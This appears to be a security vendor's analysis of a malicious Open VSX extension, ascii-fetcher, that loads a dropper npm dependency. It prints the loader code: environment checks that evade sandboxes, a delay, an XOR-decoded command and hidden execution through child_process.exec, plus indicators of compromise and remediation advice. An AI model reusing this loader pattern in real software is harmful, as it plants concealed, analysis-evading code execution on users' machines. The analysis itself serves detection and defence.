Developers have learned to read an extension’s own source before installing it. The ascii-fetcher.ascii-fetcher sample, caught by Argus on 2026-06-30, shows why that habit is no longer enough. The malicious behavior was not in the extension’s entry point. It was inside a dependency.

Executive Summary

  • Extension: ascii-fetcher.ascii-fetcher-1.0.0
  • Malicious dependency: @jaymara/jsononifier
  • Risk score: 85
  • Marketplace: Open VSX
  • Campaign status: isolated sample; retro-hunt found no siblings

The extension depends on @jaymara/jsononifier. When the extension activates, the dependency XOR-decodes an embedded command and runs it via child_process.exec with windowsHide. The decoded sample command is calc.exe; the real threat is the loader pattern, not the payload string.

Why the Vector Works

A dependency-based dropper exploits two assumptions:

  1. Users and scanners focus on the extension’s extension.js. If that file is small, clean, and does nothing surprising, the extension looks safe.
  2. Registries do not deeply inspect every npm dependency at upload time. A malicious npm package can sit in the public registry for days before anyone notices.

By moving the payload into a dependency, the operator separates the suspicious code from the extension that users actually evaluate.

Technical walkthrough

Activation

ascii-fetcher.ascii-fetcher is a minimal extension. Its extension/ext.js is only 1,090 bytes and does nothing on its own:

const vscode = require('vscode');

function activate(context) {
    const cmd = vscode.commands.registerCommand('ascii-fetcher.fetch', () => {
        require('@jaymara/jsononifier');
        vscode.window.showInformationMessage('Package loaded!');
    });
    context.subscriptions.push(cmd);
    // status-bar setup omitted
}

The command is bound to Ctrl+Shift+A, so a user who tests the extension immediately loads the dependency.

The Dependency Payload

The malicious logic lives in node_modules/@jaymara/jsononifier. index.js imports trigger.js, which gates execution and calls Executer.js:

// extension/node_modules/@jaymara/jsononifier/trigger.js
function trigger() {
    const isCI = process.env.CI === 'true';
    const isTest = process.env.NODE_ENV === 'test';
    const isDocker = require('fs').existsSync('/.dockerenv');
    const isWindows = process.platform === 'win32';

    if (isCI || isTest || isDocker || !isWindows) {
        return;
    }

    setTimeout(() => execute(), 5000);
}
process.nextTick(() => trigger());

The executor decodes the embedded command and runs it:

// extension/node_modules/@jaymara/jsononifier/Executer.js
function xorDecode(encoded, key) {
    const result = Buffer.alloc(encoded.length);
    for (let i = 0; i < encoded.length; i++) {
        result[i] = encoded[i] ^ key[i % key.length];
    }
    return result.toString('utf8');
}

function execute() {
    const encoded = getEncodedCommand();
    const key = getXorKey();
    const command = xorDecode(encoded, key);
    const { exec } = require('child_process');
    exec(command, { windowsHide: true }, (err, stdout, stderr) => { ... });
}

payload.js contains the XOR ciphertext and a comment that exposes the decoded command:

// XOR-encoded command – not visible in source
// Decoded at runtime: "calc.exe"
const encodedCommand = [0x1b, 0x0e, 0x1e, 0x08, 0x4b, 0x1c, 0x49, 0x57];
const xorKey = Buffer.from('xorkey123', 'utf8');

Decoding with xorkey123 gives calc.exe. In a real operator build the comment would be removed and the command would not be a calculator, but the decoder, key, and windowsHide execution pattern are the durable anchors.

Anti-Analysis Guards

The dependency checks for signs of automated analysis before running the final command:

  • process.env.CI === 'true'
  • process.env.NODE_ENV === 'test'
  • /.dockerenv exists
  • process.platform === 'win32'
  • five-second delay via setTimeout

This is why many static scanners miss the behavior: the malicious branch only fires in a normal-looking Windows user environment. Argus’s behavioral cross-version and dependency-graph analysis caught it despite the guards.

Why it evades detection

Defender assumption What the sample actually does
The extension’s own code must be malicious The entry point is clean; the dependency is not
A high download count or small size means low risk The extension is tiny and unremarkable
Public npm packages are safe until reported @jaymara/jsononifier was available at scan time
CI/static analysis will catch child_process.exec The call is inside an obfuscated dependency, gated by anti-analysis checks

What we are doing about it

Argus detects this family through @jaymara/jsononifier, the XOR-decoded buffer, and the hidden Windows command execution. The detection is anchored on the dependency identity and the runtime behavior, not on the extension’s surface code.

Retro-hunting the local artifact corpus and scan history for the same (dependency, xorkey123, Buffer.alloc, calc.exe payload comment) cluster returned zero additional matches, so this appears to be an isolated sample rather than a wide campaign. The dependency has since been removed from the public npm registry.

Remediation and recommendations

  1. Block ascii-fetcher.ascii-fetcher and @jaymara/jsononifier at the registry or endpoint level.
  2. Inspect dependency graphs, not just extension entry points. A clean top-level file is not enough evidence of safety.
  3. Pin or vendor dependencies for high-sensitivity internal extensions.
  4. Run extensions in restricted environments where child_process and network access are gated.

Indicators

Type Value
Extension ascii-fetcher.ascii-fetcher-1.0.0
VSIX SHA-256 f376a37e882a90c249a7c4fb1a9604b9ffa3eae180375c1d9770e38fff74f8f4
Malicious npm package @jaymara/jsononifier
Trigger file SHA-256 8d55164d4eaafbd0e4edddbaa3d734bb9fbbecac6c4276a8f545512d89b34f2c
Executer file SHA-256 fc13b50ad0ec266ccaba7ced85315a10aa5fabc3a58eb21ca3415c21848e354d
Decoded command (sample) calc.exe
XOR key xorkey123
Marketplace Open VSX
Detection focus @jaymara/jsononifier dependency + XOR-decoded buffer + hidden windowsHide exec
Behavioral anchors XOR-decoded buffer, Buffer.alloc(encoded.length), windowsHide exec, anti-analysis guards

The real lesson of jsononifier is that the payload does not have to live where anyone is looking. As long as registries scan only the extension wrapper, dependency-based droppers will stay attractive.